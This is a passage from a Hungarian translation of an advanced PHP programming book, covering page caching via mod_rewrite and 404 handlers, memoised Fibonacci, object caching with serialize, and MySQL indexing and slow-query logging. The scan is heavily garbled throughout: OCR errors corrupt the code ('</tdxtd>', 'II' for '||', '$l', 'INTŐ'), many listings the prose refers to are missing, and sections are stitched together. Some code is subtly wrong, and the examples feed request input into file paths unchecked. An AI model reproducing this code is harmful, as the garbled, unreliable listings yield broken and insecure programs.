$cache->remove();
}
?>
A gyorstárfájl eltávolítása utáni első kérelem nem éri el a project .php adatainak tárolt
változatát, így új tárolást kezdeményez. Ez persze egy tüskét eredményez az erőforrások
felhasználásában. Amint a korábbiakban már említettük, ennek oka az, hogy az egyidejű
kérelmek külön dinamikus másolatokat készítenek az oldalról, míg valamelyikük be nem
fejezi, és tárolja az eredményt.
E megközelítéssel két apró gondunk lehet - az egyik inkább felszíni, míg a másik technikai:
• A tárolt oldal megjelenítéséhez futtatnunk kell a PHP értelmezőt. Sőt, nem csak ér-
telmeznünk és végrehajtanunk kell a project .php fájlt, de még a gyorstárfájl
megnyitása és olvasása is ránk vár. Ha az oldalt tároltuk, az teljességgel statikus, így
a fenti teher már nem nyomja vállunkat.
/www/htdocs/projects/myproject.html
Nem lenne nehéz egy egész könyvet írni a mod_rewrite használatának lehetőségeiről,
sajnálatos módon azonban szűkös időnk csak azt teszi lehetővé, hogy az itt felmerült fel-
adat megoldásának kapcsán mutassuk be képességeit.
Azt szeretnénk tehát, hogy a pro j ect. php gyorstár-fájljait HTML fájlokként a dokumen-
tumkönyvtáron belül a /www/htdocs/projects/ProjectFoo.html címre írhassuk,
így a látogatók a ProjectFoo honlapot egyszerűen elérhetik a következő címen:
http://www.example.com/projects/ProjectFoo.html.
296 PHP fejlesztés felsőfokon
function get_cachefile($name) {
$cachedir = "/www/htdocs/projects" ;
return "$cachedir/$name.html";
}
A gond csak az, hogy nem tudjuk, mit tegyünk, ha hiányzik ez a fájl. Szerencsére
a mod_rewrite megadja a választ. Készíthetünk ugyanis egy szabályt, ami azt mondja:
„ha a gyorstárfájl nem létezik, irányíts át egy olyan oldalra, ami feltölti a gyorstárat, és add
vissza a kapott tartalmat." Nos, ez egyszerűen hangzik — mert az is!
<Directory /projects>
RewriteEngine On
RewriteCond /www/htdocs/%{REQUEST_FILENAME} í - f
RewriteRule Vprojects/(.*).html /generate_project.php?name=$l
</Directory>
/www/htdocs/%{REQUEST_FILENAME} !-f
^/projects/(.*).html
Már csak a generate_proj ect .php maradt hátra. Szerencsére ez csaknem megegyezik
az eredeti pro j ect. php oldallal, de feltétel nélkül tárolnia kell az oldal kimenetét. Lás-
suk a kódját:
<?php
require 'Cache/File.inc';
require 'Project.inc';
try {
$name = $_GET[name];
if(!$name) {
throw new Exception;
}
$project = new Project($name);
}
catch (Exception $e) {
// hiba esetén ide kerülünk
header("Location: /index.php");
return;
}
$cache = new Cache_File(Project::get_cachefile($name) ) ;
$cache->begin();
?>
<html>
<title><?= $project->name ?></title>
<body>
<!-- boilerplate text -->
<table>
<tr>
<td>Author:</tdxtd><?= $project->author ?>
</tr>
<tr>
<td>Summary:</tdxtd><?= $project->short_description ?>
</tr>
<tr>
<td>Availability:</td>
<tdxa href="<?= $project->file_url ?>">click here</ax/td>
</tr>
<tr>
<tdx?= $project->long_description ?x/td>
</tr>
</table>
</body>
</html>
<?php
$cache->end();
?>
298 PHP fejlesztés felsőfokon
ErrorDocument 4 04 /generate_project.php
Ezzel tudatjuk az Apache kiszolgálóval, hogy 404-es hiba esetén (például ha a kért doku-
mentum nem létezik) irányítsa át belsőleg a felhasználót a /generate_project .php
címre. Ez lehetővé teszi a webmester számára, hogy saját hibaoldalra vigye a felhasználót,
ha nincs meg a kért dokumentum. Létezik azonban egy másik alkalmazása is - helyettesít-
hetjük vele az újraírási szabályokat.
<?php
require 'Cache/File.inc';
require 'Project.inc';
try {
$name = $_SERVER['REQUEST_URI'] ;
if(!$name) {
throw new Exception;
}
$project = new Project($name) ;
}
catch (Exception $e) {
// hiba esetén ide kerülünk
header("Location: /index.php");
return;
}
$cache = new Cache_File(Project::get_cachefile($name));
$cache->begin();
?>
header("$_SERVER['SERVER_PROTOCOL'] 2 00");
<?php
$userid = $_COOKIE['MEMBERID'] ;
$user = new User($userid);
if ( !$user->name) {
header("Location: /login.php") ;
}
$navigation = $user->get_interests() ;
?>
<table>
<tr>
<td>
<table>
<trxtd>
<?= $user->name % > ' s Home
</tdx/tr>
<?php for($i=l; $i<=3; $i++) { ?>
<trxtd>
<!-- hely a böngészősávon: <?= $i ?> -->
<?= generate_navigation_element($navigation[$i] ) ?>
</tdx/tr>
<?php } ?>
</table>
</td>
<td>
<!-- az oldal törzse (minden felhasználónál azonos tartalom) -->
</td>
</tr>
</table>
vényt. Ehhez idézzük fel, hogy a $navigation változó témakör-alfejezet párokból állt,
mint sports-football (sport-futball), weather-21046 (időjárás-21046), project-
Foobar, vagy news-global (hírek-külföld). A generate_navigation megvalósítható
egy elosztóként (továbbítóként) is, amely az átadott témakörtől függően más és más tarta-
lom-előállító függvényt hív meg:
<?php
function generate_navigation($tag) {
list ($topic, $subtopic) = explode('-', $tag, 2);
if(function_exists("generate_navigation_$topic") ) {
return call_user_func("generate_navigation_$topic", $subtopic);
}
else {
return 'unknown';
}
}
?>
<?php
require_once 'Project.inc';
function generate_navigation_project($name) {
try {
if(!$name) {
throw new Exception();
}
$project = new Project($name);
}
catch (Exception $e){
return 'unknown project';
}
?>
<table>
<tr>
<td>Author: </tdxtdx? = $project->author ?>
</tr>
<tr>
<td>Summary:</tdxtd><?= $project->short_description ?>
</tr>
<tr>
<td>Availability:</td>
<tdxa href="<?= $project->file_url ?>">click here</ax/td>
</tr>
<tr>
10. fejezet • Adatösszetevők átmeneti tárolása 301
Nos, ez pont úgy néz ki, mint az első próbálkozásunk a projekt teljes oldalának tárolására
- és valóban, ugyanazt a tárolási módszert használhatjuk itt is. Az egyetlen eltérés, hogy
itt meg kell változtatnunk a get_cachef ile függvényt, hogy elkerüljük az ütközéseket
a teljes oldal gyorstárfájljaival:
<?php
require_once 'Project.inc';
function generate_navigation_project($name) {
try {
if(!$name) {
throw new Exception;
}
$cache = new Cache_File(Project::get_cachefile_nav($name));
if($text = $cache->get()) {
print $text;
return;
}
$project = new Project($name)j
$cache->begin();
}
catch (Exception $e){
return 'unkonwn project1;
}
?>
<table>
<tr>
<td>Author :</tdxtdx? = $project->author ? >
</tr>
<tr>
<td>Summary:</tdxtd><?= $project->short_description ?>
</tr>
<tr>
<td>Availability:</tdxtdxa href="<?= $project->file_url
?>">click here</ax/td>
</tr>
<tr>
<tdx?= $project->long_description ?x/td>
</tr>
</table>
<?php
$cache->end();
}
302 PHP fejlesztés felsőfokon
?>
Lekérdezések és gyorstárak
Érdekes feladat a böngészősáv időjárási adatokat megjelenítő részének elkészítése.
Ehhez használhatjuk az xmethods .net SOAP felületét, ami a ZIP kód (irányítószám
az USA-ban) alapján naprakész időjárási adatokat szolgáltat. Ne essünk kétségbe, ha
még nem találkoztunk SOAP kérelmekkel a PHP-ben - a 16. fejezetben bővebben szó-
lunk róluk. A generate_navigation_weather () készít egy Weather objektumot
az adott ZIP kódhoz, majd némi SOAP trükközéssel visszaadja az adott helyen mért
hőmérséklet értékét:
<?php
include_once 'SOAP/Client.php';
class Weather {
public $temp;
public $zipcode;
priváté $wsdl;
priváté $soapclient;
function generate_navigation_weather($zip) {
$weather = new Weather($zip);
?>
10. fejezet • Adatösszetevők átmeneti tárolása 303
Használhatunk DBM fájlt is, melyben a ZIP kódoknak egy-egy rekord felel meg. Ehhez
mindössze néhány sort kell elhelyeznünk a _get_temp függvényben, amely így haszná-
latba veszi a korábban elkészített Cache_DBM osztályt:
function get_cachefile() {
global $CACHEBASE;
return "$CACHEBASE/Weather.dbm";
}
A Weather objektum készítésekor tehát először meg kell néznünk a DBM fájl tartalmát,
és el kell döntenünk, hogy az ott tárolt hőmérsékletérték érvényes-e. A burkoló osztály-
ban a 3600 másodperces (1 órás) lejárati értéket adtuk meg, így biztosítottuk az adatok
frissességét. Ezután pedig következhet a szokásos eljárás: „ha az adat megtalálható a tár-
ban, adjuk vissza, ha nem, előállítjuk, és ezután adjuk vissza."
304 PHP fejlesztés felsőfokon
További olvasmányok
Számos relációs adatbáziskezelő rendszerben találhatunk gyorstárakat a lekérdezésekhez
- akár közvetlenül megvalósítva, akár külső alkalmazásokba építve. A MySQL 4.0.1. válto-
zatában is találkozhatunk ilyennel (bővebben lásd a www.mysql. com címen).
Az előző két fejezetben számos tárolási módszert ismerhettünk meg, melyek legbelső lé-
nyegükben megegyeznek: olyan adatokat tárolnak, melyek kiszámítása jelentős költsé-
gekkel jár. A következő alkalommal, amikor e számításokra szükség van, megnézzük, lé-
tezik-e az eredmény tárolt változatban. Ha igen, azt adjuk vissza.
Példa: a Fibonacci-sorozat
Egyszerű példánkban bemutatjuk, milyen erős kapcsolat áll fenn a számítási újrahasznosí-
tás és az önhívó függvények (rekurzív függvények) között. Állatorvosi lovunk a Fibonacci-
sorozat lesz, melynek elemei az alábbi feladat megoldásaként állnak elő:
Egy pár nyulat beleteszünk egy ketrecbe. Nyulaink minden hónapban egy pár nyu-
lat ellenek, melyek két hónap múltán válnak ivaréretté. Kérdés, hány nyúlpárunk
lesz n hónap múlva? (Feltesszük, hogy a nyulak nem pusztulnak el, nem válnak
meddővé, és nem hagyják el a ketrecet.)
306 PHP fejlesztés felsőfokon
Leonardo Fibonacci
Fibonacci matematikus volt a 13. századi Itáliában. Számos jelentős matematikai felfede-
zést tett, és sokan az ő tevékenységéhez kötik a középkori matematika újjászületését.
Fib(O) = 1
Fib(l) = 1
Fib(n) = Fib(n-l) + Fib(n-2)
És ezt:
function Fib($n) {
if($n == 0 II $n == 1) {
return 1;
}
else {
return Fib($n - 2) + Fib($n - 1);
}
}
Láthatjuk, hogy a Fib (4) -et egyszer, a Fib (3 ) -at kétszer, a Fib (2 ) -t pedig háromszor
kell kiszámítanunk. Sőt, általánosságban - olyan matematikai módszerekkel, melyek tár-
gyalása meghaladná könyvünk kereteit — az is kimutatható, hogy a Fibonacci számok ki-
számíthatósága exponenciális bonyolultságú (0(1,6")). Ez azt jelenti, hogy a Fib (n) ki-
számítása legalább 1,6" lépésbe telik. A 11.1. ábra arra világít rá, miért is jelent ez nagy
gondot.
11.1. ábra
Bonyolultságok összehasonlítása.
A bonyolultságszámításról
Másik példaként említhetnénk egy elem megtalálását egy társításos (asszociatív) tömbben.
Ehhez meg kell keresnünk a kulcs hasítóértékét (hash value), majd megtalálni az elemet
ez alapján. Ez egy O(l), vagyis állandó idejű művelet. Ez azt jelenti, hogy a tömb növeke-
désével egy elem elérésének ideje nem változik.
Vannak persze a lineárisnál magasabb rendű algoritmusok is. Itt a kiindulási adathalmaz
növekedésénél gyorsabb ütemben nő a szükséges lépések száma. A rendező algoritmusok
ide tartoznak. Közülük az egyik legegyszerűbb a buborékrendezés, ami a következőkép-
pen működik: az első elemtől kezdve hasonlítsuk össze a tömb elemeit a szomszédjukkal;
ha sorrendjük nem megfelelő, cseréljük meg őket. Folytassuk ezt mindaddig, míg a tömb
rendezése megfelelővé válik. Az algoritmus működésének alapja, hogy az egyes elemek
„buborékként" szállnak felfelé szomszédjaikhoz képest, és ez megismétlődik minden elem-
mel. Az alábbiakban leírjuk a buborékrendezés algoritmusának egy PHP megvalósítását:
function bubblesort(&$array) {
$n = count($array);
f o r ( $ I = $n; $1 >= 0; $1--) {
// a tömb minden indexe esetén
f o r ( $ j = 0 ; $j < $1; $ j + + ) {
// haladjunk végig innen kiindulva a tömb végéig
if ($array[$j] > $array[$j+1]) {
// ha az elemek sorrendje nem megfelelő, cseréljük meg a j. és
// a j+1. elemet
list($array[$j ], $array[$j+1]) =
array($array[$j +1], $array[$j]);
}
}
}
}
11. fejezet • Számítási újrahasznosítás 309
A lehető legrosszabb esetben (vagyis, ha a tömb elemei éppen fordított sorrendben áll-
nak), minden lehetséges cserét el kell végeznünk - ez (r?+ri)/2 cserét jelent. Nagy szá-
mok esetén az ri a lényeges, vagyis egy 0(n2) rendű algoritmusról van szó.
Bármi, amivel csökkenthetjük a szükséges műveletek számát, hosszú távon jelentős ered-
ményeket hozhat. Esetünkben a megoldás itt van az orrunk előtt, hiszen épp most láttuk,
hogy miként számíthatjuk ki a Fib (5) értékét a sorozat korábbi elemeinek többszöri ki-
számításával. Nem kell mást tennünk, mint elraktározni ezeket az értékeket egy társításos
tömbben, és újbóli kiszámításuk helyett hivatkozni rájuk. Tudjuk, hogy a társításos tömb-
ből O(l) idő alatt kiolvashatók az egyes elemek, így ezzel a módszerrel algoritmusunk li-
neárissá (O(n)) tehető. Mondanunk sem kell, hogy ez jelentős előrelépés.
Megjegyzés
Bizonyára eszünkbe jutott, hogy a Fibonacci-sorozat elemeinek kiszámítását úgy is lineá-
ris idejűvé tehetjük, ha a fa alakú önhívó függvényt (hiszen a Fib ( n ) kiszámításához két
önhívás szükségeltetik) vonal alakúvá írjuk át (így csak egy önhívásra van szükség, követ-
kezésképpen az idő lineáris lesz). Mindazonáltal, a tapasztalatok azt mutatják, hogy ha
egy statikus tárolót alkalmazunk, jobb teljesítményt érhetünk el, mint egy tárolás nélküli,
vonal alakú algoritmussal, ráadásul az előbbi módszer könnyebben alkalmazható más
webes újrahasznosítási feladatokban.
<?
require_once 'PHPUnit/Framework/TestCase.php';
require_once 'PHPUnit/Framework/TestSuite.php';
require_once 'PHPUnit/TextUI/TestRunner.php';
require_once "Fibonacci.inc";
5 => 8,
6 => 13,
7 => 21,
8 => 34,
9 => 55);
Most pedig következzék a gyorstár! Az alapgondolat mindössze annyi, hogy a sorozat ko-
rábban kiszámított értékeit egy statikus tömbben tároljuk. Mivel e tömböt minden új érték
kiszámításakor bővítjük, gyűjtőtömbnek (accumulator array) hívjuk. íme, a Fib () függ-
vény egy statikus gyűjtővel:
function Fib($n) {
static $fibonacciValues = array( 0 => 1, 1 => 1);
if(!is_int($n) II $n < 0) {
return 0;
}
If( !$fibonacciValues[$n]) {
$fibonacciValues[$n] = Fib($n - 2) + Fib($n - 1);
}
return $fibonacciValues[$n];
}
class Fibonacci {
static $values = array( 0 => 1, 1 => 1 );
public static function number($n) {
if(!is_int( $ n ) II $n < 0) {
11. fejezet • Számítási újrahasznosítás 311
return 0;
}
if ( !self: :$values[$n]) {
self::$values[$n] = self::$number[$n -2] + self::$number[$n - 1];
}
return self::$values[$n];
}
}
Ebben a példában a statikus osztályváltozó bevonása semmiben sem vitt előbbre. Az ilyen
gyűjtők használata akkor igazán kifizetődő, ha egyet több függvény is használhat.
A 11.2. ábrán a Fib (5) számításának új fáját láthatjuk. Ha úgy tekintünk erre a fára, mint
egy kissé eltorzított háromszögre, láthatjuk, hogy az elvégzendő számítások a bal oldalon
láthatók, míg a tárolt adatok a jobb oldalhoz közel helyezkednek el. Láthatjuk tehát, hogy
itt (n+V)+n, vagyis 2n+l számítást kell elvégeznünk, vagyis a számítási igény O(w). Ves-
sük össze ezt a 11.3. ábrával, ahol az eredeti önhívó megvalósítást láthatjuk, melyben
minden csomópontot ki kell számítanunk.
11.2. ábra
Megfigyelhetjük, hány müvelet szükséges a Fib(5) kiszámításához, ha a már megkapott értékeket
tároljuk.
312 PHP fejlesztés felsőfokon
11.3. ábra
Az eredeti gyorstár nélküli megvalósításban szükséges számítások.
class Text_Word {
public $word;
protected $_numSyllables = 0;
//
// nem módosított tagfüggvények
//
public function numSyllables() {
// ha már megszámoltuk a szótagokat ebben a Word objektumban,
// egyszerűen adjuk vissza az eredményt
if($this->_numSyllables) {
return $this->_numSyllables;
}
$scratch = $this->mungeWord($this->word);
// Szétválasztjuk a szót a magánhangzók (a , e, i, o, u és
// esetünkben az. y) mentén
$fragments = preg_split("/[^aeiouy]+/" , $scratch);
if(!$fragments[0]) {
array_shift( $ f ragments);
}
if(!$fragments[count( $ f ragments) - 1 ] ) {
array_pop($fragments);
}
// mindenképpen tároljuk a szótagszámot a tulajdonságban
$this->_numSyllables +=
$this->countSpecialSyllables($scratch);
if(count($fragments)) {
$this->_numSyllables += count($fragments);
}
else {
$this->numSyllables = 1;
}
return $this->_numSyllables;
}
}
Most készítünk egy gyorstárat a Text_Word objektumok számára is. Ezeket az objektu-
mokat előállíthatjuk egy gyártóosztály (factory class) segítségével, melyben egy statikus
társításos tömb tartalmazza a Text_Word objektumokat a nevükkel indexelve:
require_once "Text/Word.inc";
class CachingFactory {
static $objects;
public function Word($name) {
314 PHP fejlesztés felsőfokon
If(iself::$objects[Word][$name]) {
Self::$objects[Word][$name] = new Text_Word($name);
}
return self::$objects[Word][$name];
}
}
Ez a megvalósítás, jóllehet tiszta, mégsem marad rejtve, hiszen a hívások eredeti alakja ez:
$obj = CachingFactory::Word($name);
class Text_Word {
public $word;
priváté $_numSyllables = 0;
static $syllableCache;
function ____ construct($name) {
$this->word = $name;
If ( !self::$syllableCache[$name]) {
self::$syllableCache[$name] = $this->numSyllables();
}
$this->$_numSyllables = self::$syllableCache[$name];
}
}
Szó mi szó, ez valódi barkácsmunka. Ezért hát, minél összetettebbé válik a Text_Word
osztály, annál nehezebb dolgunk akad ezzel a módszerrel. Mivel eredményünk a kívánt
Text_Word objektum egy példánya, ha szeretnénk valami hasznot hajtani a szótagok szá-
mának tárolásából, megszámolásukat az objektum konstruktorában kell elvégeznünk. Mi-
nél több adatot szeretnénk kapni egy szóról, annál költségesebb lesz a konstruktőr végre-
hajtása. Képzeljük csak el, mi lenne, ha ábécérendi és szinonimakeresést is be szeretnénk
építeni a Text_Word osztályba. Ahhoz, hogy csak egyetlen keresési műveletre legyen
szükség, azt előzetesen már a konstruktorban el kell végeznünk. A költségek (mind az
erőforrások felhasználásában, mind pedig a bonyolultság terén) hamar felhalmozódnak.
11. fejezet • Számítási újrahasznosítás 315
A $this átírása nem támogatott a PHP 5-ben, így jobban járunk, ha gyártóosztályt hasz-
nálunk. Ez amúgy is egy jól bevált módszer, és lehetővé teszi, hogy gyorstárunk kódját el-
válasszuk a Text_Word osztálytól.
Mind a Java, mind a mod_perl egy állandó futásidejű környezetet ágyaz be az Apache ki-
szolgálóba. Ez a környezet értelmezi és lefordítja a programokat és az oldalakat, ezt köve-
tően pedig újra és újra végrehajtja azokat. Úgy is felfoghatjuk ezt, mintha elindítanánk
a futásidejű környezetet, majd úgy hajtanánk végre az oldalakat, mintha egy függvényt
hívnánk meg egy ciklusba ágyazva (a lefordított példány ismételt hívásával). Amint a 20.
fejezetben majd láthatjuk, a PHP nem ezt a módszert követi. Rendelkezik ugyan állandó
értelmezővel, de minden kérelem kezdetén tiszta lappal indít.
316 PHP fejlesztés felsőfokon
Ez azt jelenti, hogy bármilyen változót is hozunk létre egy oldalon, az (a teljes szimbó-
lumtáblával együtt) megsemmisül a kérelem végén. Ez történik az alábbi változóval is:
Mint sok más esetben, most is mérlegelnünk kell: A nagy költségű objektumok példányo-
sítását elkerülhetjük, de ehhez fenn kell tartanunk egy gyorstárat. Ha nem vigyázunk,
könnyen megeshet, hogy más, fontosabb adatszerkezetek rovására használjuk ki túlzottan
a gyorstárat, de másik végletként az is előfordulhat, hogy nem használjuk ki annyira, hogy
megtérüljenek működésének költségei.
Vissza kell azonban térnünk eredeti kérdésünkre - hogyan tároljunk egyes objektumokat
két kérelem között? Nos, alkalmazhatjuk rá a serialize () függvényt, majd az ered-
ményt tárolhatjuk osztott memóriaszegmensben, adatbázisban, vagy akár fájlban is.
A Word osztályban ennek megvalósítására készíthetünk egy kiíró és egy beolvasó tag-
függvényt. Esetünkben a tárolás egy MySQL alapú gyorstárban történik, amellyel egy, a 2.
fejezetben bemutatott elvont kapcsolati rétegen keresztül érintkezünk:
class Text_Word {
require_once 'DB.inc';
// korábbi osztálymeghatározások
// . ..
function storeO {
11. fejezet • Számítási újrahasznosítás 317
$data = serialize($this);
$db = new DB_Mysql_TestDB;
$query = "REPLACE INTŐ ObjectCache (objecttype, keyname,
data, modified)
VALUES('Word', :1, :2, now())";
$db->prepare($query)->execute($this->word, $data);
}
function retrieve($name) {
$db = new DB_Mysql_TestDB;
$query = "SELECT data from ObjectCache where objecttype =
'Word' and keyname = :1";
$row = $db->prepare($query)->execute($name)->fetch_assoc() ;
if($row) {
return unserialize($row[data]);
}
else {
return new Text_Word($name);
}
}
}
function numSyllables() {
if($this->_numSyllables) {
return $this->_numSyllables;
}
$scratch = $this->mungeWord($this->word);
$fragments = preg_split("/[Aaeiouy]+/", $scratch);
if(!$fragments[0]) {
array_shift($fragments) ;
}
if(!$fragments[count($fragments) - 1]) {
array_pop($fragments);
}
318 PHP fejlesztés felsőfokon
$this->_numSyllables += $this->countSpecialSyllables($scratch);
if(count($fragments) ) {
$this->_numSyllables += count( $ f ragments);
}
else {
$this->_numSyllables = 1;
}
// tároljuk az objektumot, mielőtt visszaadnánk
$this->store();
return $this->_numSyllables;
}
class CachingFactory {
static $objects;
function Word($name) {
if(!self::$objects[Word][$name]) {
self::$objects[Word][$name] = Text_Word:rretrieve($name);
}
return self::$objects[Word][$name];
}
}
Ez 61 bájtnyi adatot jelent, aminek a többségét az osztály adatai teszik ki. A PHP 4-ben
a helyzet még rosszabb, mivel ez a nyelv nem támogatja a statikus osztályváltozókat, így min-
den sorosított változatban helyet kaphat a szótagok kivételeinek tömbje. Ezek a csomagok
természetüknél fogva szeretnek nagyok lenni, így használatuk gyakran felesleges túlzás.
11. fejezet • Számítási újrahasznosítás 319
Általában tehát jobb elkerülni a kérelmek közti tárolást - ha adattorlódást találunk, keressünk
egy átfogóbb megoldást. Csak különösen összetett objektumok és jelentős erőforrásokat fel-
emésztő adatszerkezetek esetén érdemes a folyamatok között kisméretű adatokat megoszta-
ni. Egyébként meglehetősen nehéz a folyamatok közti adatcsere költségeit ellensúlyozni.
PCRE-k
A Peri-megfelelő szabályos kifejezésekhez (Perl Compatible Regular Expression, PCRE)
olyan függvények kapcsolódnak, mint a preg_match (), a preg_replace (),
a preg_split (), vagy a preg_grep (). A név onnan ered, hogy e kifejezések szerke-
zete nagymértékben hasonlít a Perl szabályos kifejezéseihez. A PCRE-k nem részei
a Perinek, valójában egy teljesen független megfelelőségi könyvtárat alkotnak, melyet
Phillip Hazel készített, és amit jelenleg megkapunk a PHP-vel.
Érdemes tudnunk, hogy a preg_match vagy a preg_replace működése valójában két lé-
pésből áll, melyek rejtve maradnak a felhasználók előtt. Az első lépés a pcre_compile ()
függvény hívása (ez a PCRE C könyvtárában található). Ez a függvény a szabályos kifejezés
szövegét olyan alakra hozza, ami már érthető a PCRE könyvtár más függvényei számára.
A fordítást követően, a második lépésben a pcre_exec () függvénnyel a rendszer megke-
resi az egyezéseket (ez a függvény is a PCRE C könyvtárában található).
Elemszám és hossz
Az alábbi kódsorok végrehajtásakor a PHP nem halad végig a $array tömb elemein,
megszámolva egyenként az elemeit:
A módszer ennél kifinomultabb — létezik egy belső számláló, melynek értéke minden
elem hozzáadásánál eggyel nő, elemek törlésénél pedig csökken. A count () függvény
látja a tömb valódi belső szerkezetét, így egyszerűen e számláló értékével tér vissza,
a művelet bonyolultsága tehát O(l). Vessük össze ezt azzal, ha végig kellene haladnunk
a tömb elemein a számoláshoz - ez nyilvánvalóan egy O(n) művelet.
Bináris adatok
A C-ben nincsenek olyan bonyolult adattípusok, mint a string. Egy C-beli karakterlánc
valójában egy ASCII karakterekből álló tömb, melyet a null karakter zár (nem a 0 karak-
ter, hanem a 0 kódú karakter). A C beépített karakterlánc-kezelő függvényei (strlen,
strcmp, és mások, melyek közül soknak létezik megfelelője a PHP-ben) akkor gondol-
ják, hogy egy karakterlánc végére értek, ha beleütköznek a null karakterbe.
A bináris adatok ugyanakkor teljesen tetszőleges karakterekből állhatnak, köztük null ka-
rakterekből is. A PHP nem rendelkezik külön típussal bináris adatok számára, így a PHP
karakterláncainak ismerniük kell a hosszukat, hogy az strlen és az strcmp ne akadjon
meg a null karaktereken.
További olvasmányok
A számítási újrahasznosítás témakörét a legtöbb egyetemi szintű, algoritmusokról szóló
könyv érinti. Thomas Cormen, Charles Leiserson, Ron Rivest és Clifford Stein könyve, az
Introduction to Algorithms második kiadása alapkönyv e téren, jól érthető alkoddal írt
példákkal. Súlyos tévedés azt hinni, hogy az algoritmus megválasztása nem lényeges egy
olyan magasszintű nyelven való programozásnál, mint a PHP. Remélhetőleg e fejezet pél-
dái elég meggyőző bizonyítékot szolgáltattak erre.
Elosztott alkalmazások
Adatbázisok használata
A relációs adatbázis-kezelő rendszerek fontos szerepet töltenek be napjaink alkalmazásai-
ban. Hatékony és általánosan alkalmazható eszközöket biztosítanak a maradandó adatok
kezelésére, lehetővé téve ezzel, hogy a fejlesztők többet foglalkozhassanak az alkalmazás
valódi feladataival.
Jóllehet az adatbázis-kezelők nagy könnyebbséget jelentenek, mégis csak szükség van né-
mi odafigyelésre a használatukhoz. Kódot kell írnunk az alkalmazás és az adatbázis-keze-
lő közti kapcsolat megvalósítására, alkalmasan meg kell terveznünk az adatok tárolására
használt táblákat, továbbá a táblákon alkalmazott lekérdezéseket a lehető leghatékonyab-
ban kell felépítenünk.
A 12.1. ábrán egy adatbázis-keresést láthatunk egy B-fa típusú indexszel. Figyeljük meg,
hogy miután megkerestük a kulcs értékét az indexben, azonnal odaugorhatunk a megfe-
lelő sorhoz.
12.1. ábra
Keresés B-fa indexszel.
Megjegyzés
Bizonyos adatbázis-kezelők esetében az indexeket építhetjük egy vagy több mező együt-
tesére alkalmazott függvény értékeire is. Ezeket függvény alapú indexeknek nevezzük.
326 PHP fejlesztés felsőfokon
Mindez azt jelenti, hogy meg kell vizsgálnunk a gyakran használt lekérdezéseket, ellenőriz-
ve, hogy rendelkeznek-e a hatékony működéshez szükséges indexekkel. Szükség esetén
ne habozzunk módosítani az indexet vagy a lekérdezést. A vizsgálat módszeréről a későb-
biekben, a Lekérdezések vizsgálata az EXPLAIN segítségével című részben szólunk.
Megjegyzés
Fejezetünk további részében, hacsak külön nem jelzünk mást, példáink a MySQL-re épül-
nek. A legtöbb adatbázis-kezelő némiképp eltér az SQL92-es nyelvi szabványtól, így
a kód alkalmazása előtt célszerű ellenőriznünk a nyelvtant rendszerünk leírása alapján.
Lehetőségünk van arra is, hogy több tábla adatait egyszerre érjük el, ha egy közös mező-
vel összekapcsoljuk azokat. Ilyen esetekben különösen fontos az indexek használata. Ve-
gyük például az alábbi, users névre hallgató táblát:
Most figyeljük meg a következő lekérdezést, amely a felhasználó azonosítója (user ID)
alapján kiválasztja a nevet (username) és az országot (country):
Ha nincsenek indexeink, teljes táblapásztázást kell végeznün a két tábla szorzatán. Ez 100
000 felhasználó és 239 ország esetén 23 900 000 megvizsgálandó sort jelent, ami semmi-
képpen sem nevezhető kevésnek.
Ha ezek után el szeretnénk végezni a keresést, először keressük meg az index szerint az
egyező felhasználóazonosítónak megfelelő sort, majd nézzük meg a kapott felhasználó
országkódját, és ez alapján keressük meg az országot a countries táblában. így végül
összesen egyetlen sort kellett megvizsgálnunk, ami — lássuk be - számottevő előrelépés
a 23,9 millióhoz képest.
Vegyünk most egy, a gyakorlati életből származó példát! Korábban az egyik webhelye-
men szerepelt egy látogatási tábla, ami a felhasználók látogatásainak számát és legutóbbi
látogatásuk idejét tárolta. A tábla így festett:
Az alkalmazás fejlődése során eljuthatunk oda, hogy szükségünk lesz az elmúlt 24 óra lá-
togatóinak számára, amit szintén e tábla alapján szeretnénk megkapni. Ezt az alábbi lekér-
dezéssel kívánjuk elérni:
Figyeljük meg, hogy lekérdezésünkhöz nem létezik olyan kulcs, amely segítene az ered-
mény elérésében, így sajnos a teljes táblát át kell vizsgálnunk - ez 511 517 sor összeveté-
sét jelenti a WHERE záradékkal. Mindazonáltal a lekérdezés hatékonyabbá tehető, ha ké-
szítünk egy indexet a visits táblához. Ezt követően az alábbi eredményt kapjuk:
Új indexünket tehát sikeresen használatba vettük, hatása azonban sajnos korlátozott (mi-
vel naponta rengeteg felhasználó jelentkezik be a webhelyre). Jobb megoldáshoz jutha-
tunk, ha készítünk egy napi számlálótáblát, melyet a felhasználók első aznapi bejelentke-
zésekor frissítünk (erről a felhasználó visits táblabeli bejegyzéséből értesülhetünk):
log-slow-queries = /var/lib/mysql/slow-log
vagy
Vagy ezt:
Mindezek után, ha egy lekérdezés végrehajtása tovább tart, mint a fent megadott idő, illet-
ve nem használ indexeket, az alábbihoz hasonló bejegyzést kapunk:
Ebből megtudhatjuk, melyik lekérdezés futott, hány másodpercig tartott, hány sort kap-
tunk vissza, továbbá hány sort kellett megvizsgálnia a feladat elvégzéséhez.
másodpercre csökkenthessük, és a napló így is üres maradjon (itt feltételezzük, hogy nin-
csenek adatbányászó lekérdezések, melyek adatbázisunkat fürkészik - ha vannak, hagy-
juk figyelmen kívül őket).
Az indexeket nem használó lekérdezések naplózása is hasznos lehet, bár jómagam általá-
ban nem veszem igénybe ezt a szolgáltatást. Kisebb (néhány száz soros) táblák esetében
az adatbázis-kezelő ugyanolyan gyorsan — ha nem gyorsabban - boldogul indexek nélkül,
mint azokkal. A log-long- formát bekapcsolása hasznos lehet, ha új környezetbe csöp-
penünk (vagy ha folyamatosan ellenőrizni szeretnénk az alkalmazásban szereplő SQL kó-
dot), de legtöbbször jobb, ha nem hagyjuk, hogy a sok SQL kód összerondítsa a naplót.
Adatbázis-elérési minták
Ezek a minták adják meg, milyen módokon érintkezhetünk az adatbázis-kezelővel a PHP-
ben. Ez mindenekelőtt azt jelenti, hogy meghatározzák, hol és milyen módon jelennek meg
az SQL kódok a programban. A vélemények e téren meglehetősen vegyesek. Az egyik tábor
szerint az adatelérés olyannyira alapvető része az alkalmazásnak, hogy az SQL és a PHP
kód szabadon és minden korlátozás nélkül összevegyíthető, ha éppen egy lekérdezést kell
elvégezni. Másrészről, vannak olyanok is, akik úgy vélik, az SQL kódot minél inkább el kell
rejteni a fejlesztők elől, és mindenfajta adatbázis-elérést valamilyen mély elvont rétegbe kell
helyeznünk.
332 PHP fejlesztés felsőfokon
A magam részéről egyik vélekedéssel sem értek egyet teljes mértékben. Az első megköze-
lítésnél a legtöbb gondot az újraépítés és az újrahasznosítás jelenti. A PHP függvényekhez
